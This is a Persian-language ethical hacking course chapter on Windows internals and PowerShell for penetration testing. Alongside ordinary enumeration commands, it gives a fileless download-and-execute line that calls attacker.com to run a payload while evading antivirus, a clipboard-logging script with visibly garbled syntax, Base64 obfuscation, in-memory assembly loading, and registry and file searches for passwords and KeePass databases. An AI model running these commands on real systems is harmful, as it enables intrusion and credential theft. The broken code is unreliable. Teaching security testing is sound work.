دوره جامع هک قانونمند و مهندسی امنیت سایبری

Advanced Cybersecurity & Ethical Hacking

Complete Career Training Program

راهنمای کامل و گام‌به‌گام برای تبدیل شدن به یک مهندس امنیت حرفه‌ای

از صفر مطلق تا متخصص امنیت سایبری

این دوره توسط تیم امنیت صفر و یک سایبر طراحی شده است

هشدار قانونی: این سند صرفاً برای آموزش امنیت سایبری قانونمند تهیه شده است

هرگونه استفاده غیرقانونی از مطالب بر عهده کاربر می‌باشد

این دوره مسیر شغلی شما را از یک فرد مبتدی تا یک مهندس امنیت حرفه‌ای طراحی کرده است

فصل ۳

ویندوز و پاورشل برای هکرها

ویندوز محبوب‌ترین سیستم عامل در سازمان‌هاست. شما باید ویندوز را در سطح حرفه‌ای بشناسید تا بتوانید به آن نفوذ کنید و از آن دفاع کنید

ساختار داخلی ویندوز (Windows Internals)

مفاهیم ضروری که هر هکر باید بداند :

- SAM (Security Account Manager): دیتابیس رمزهای عبور در C:\Windows\System32\config\SAM
- NTDS.DIT: دیتابیس Active Directory (در Domain Controller)
- Registry: دیتابیس پیکربندی (regedit)
- \Event Log: C:\Windows\System32\winevt\Logs
- Sid & ACL: شناسه امنیتی و لیست کنترل دسترسی
- Tokens: توکن دسترسی کاربر (شامل گروه‌ها و سطح دسترسی)
- Session 0: جلسه سیستم (خدمات) - ایزوله از کاربران

۵۰ دستور ضروری CMD و PowerShell

: CMD Essentials

اطلاعات سیستم

systeminfo

whoami

net user

net localgroup administrators

ipconfig /all

route print

arp -a

netstat -ano

tasklist

schtasks /query

مدیریت فایل

dir /s *.config

type file.txt

findstr /i "password" *.txt

PowerShell برای هکرها :

اطلاعات پایه

Get-ComputerInfo

Get-LocalUser

Get-LocalGroupMember Administrators

Get-Service

Get-Process | Sort-Object CPU -Descending | Select -First 10

Get-ChildItem -Recurse -Filter *.config

شبکه

Get-NetIPAddress

Get-NetTCPConnection -State Listen

Test-NetConnection google.com

Resolve-DnsName google.com

Active Directory (با ماژول RSAT)

Get-ADUser -Filter*

Get-ADGroupMember "Domain Admins"

Get-ADComputer -Filter*

PowerShellبرای هک و تست نفوذ

PowerShell به دلیل قدرت بالا و دسترسی به .NET، ابزار اصلی هکرها در ویندوز است

===== دانلود و اجرای مستقیم در RAM (Fileless) =====

بدون نوشتن روی دیسک - دور زدن آنتی‌ویروس

```
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
```

===== Enumeration سریع =====

کاربران و گروه‌ها

```
Get-LocalUser | Select-Object Name,Enabled,PasswordLastSet,LastLogon
```

سرویس‌های آسیب‌پذیر

```
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "*svchost*"}
```

فایل‌های حساس

```
Get-ChildItem -Path C:\ -Recurse -Include "*.kdbx","*.pst","*pass*","*secret*" -ErrorAction SilentlyContinue
```

===== Keystroke Logging ساده =====

```
Add-Type -AssemblyName System.Windows.Forms

hook = New-Object Windows.Forms.Timer$

hook.Interval = 100$

hook.Add_Tick({$output = Get-Clipboard; if($output -ne $last){$last=$output; "Clipboard: $output"}})$

()hook.Start$

Start-Sleep -Seconds 30
```

PowerShell Encoding & Obfuscation

===== Base64 Encoding =====

```
$command = "Write-Host 'Hello from obfuscated PowerShell"'!
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host $encoded
```

اجرای مستقیم

```
powershell -EncodedCommand $encoded
```

===== PowerShell Compress & Execute =====

فشرده‌سازی اسکریپت و اجرا در RAM

```
function Invoke-MemoryLoad {
    param([byte[]]$bytes)
    [System.Reflection.Assembly]::Load($bytes)
}
```

Windows Privilege Escalation Basics

بررسی دسترسی‌های فعلی

whoami /priv

whoami /groups

جستجوی فایل‌های ادمین

dir /s *admin* C:\Users\

dir /s *.kdbx C:\

dir /s *password* *.txt C:\

بررسی رجیستری برای اطلاعات حساس

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

بررسی Scheduled Tasks

schtasks /query /fo LIST /v

بررسیAlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

بررسیUnquoted Service Paths

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

ابزارهای ضروری ویندوز برای هکر

ابزار	کاربرد	منبع
Sysinternals Suite	مجموعه ابزارهای تحلیل ویندوز	Microsoft
Process Explorer	مدیریت پیشرفته فرایندها	Sysinternals
ProcMon	مانیتورینگ فایل، رجیستری، شبکه	Sysinternals
TCPView	نمایش اتصالات شبکه	Sysinternals
Autoruns	مدیریت برنامه‌های خوداجرا	Sysinternals
Regshot	مقایسه رجیستری قبل و بعد	SourceForge
PowerShell Empire	پست‌اکسپلوییت	GitHub
BloodHound	تحلیلAD	GitHub
Mimikatz	استخراج رمز ازRAM	GitHub

نصب Sysinternals ازPowerShell

```
Invoke-WebRequest -Uri "https://live.sysinternals.com/PsExec.exe" -OutFile "PsExec.exe"

Invoke-WebRequest -Uri "https://live.sysinternals.com/procexp.exe" -OutFile "procexp.exe"

Invoke-WebRequest -Uri "https://live.sysinternals.com/procmon.exe" -OutFile "procmon.exe"

Invoke-WebRequest -Uri "https://live.sysinternals.com/TCPView.exe" -OutFile "TCPView.exe"

Invoke-WebRequest -Uri "https://live.sysinternals.com/Autoruns.exe" -OutFile "Autoruns.exe"

Invoke-WebRequest -Uri "https://live.sysinternals.com/PsExec64.exe" -OutFile "PsExec64.exe"
```

تمرینات جامع فصل ۳

- CMD و PowerShell را باز کنید و systeminfo و Get-ComputerInfo را اجرا کنید
- کاربران و گروه‌های محلی را با CMD و PowerShell پیدا کنید
- سرویس‌های در حال اجرا را لیست کنید و سرویس‌های غیرعادی را شناسایی کنید
- فرایندها را با tasklist و Get-Process بررسی کنید
- اتصالات شبکه فعال را با netstat -ano بررسی کنید و پورت‌های Listening را شناسایی کنید
- یک اسکریپت PowerShell بنویسید که فایل‌های حساس را جستجو کند
- Sysinternals Suite را دانلود کنید و Process Explorer را اجرا کنید
- با ProcMon تغییرات رجیستری را مانیتور کنید
- یک اسکریپت PowerShell Fileless Download & Execute بنویسید
- PowerShell Logging را فعال کنید و event log ها را بررسی کنید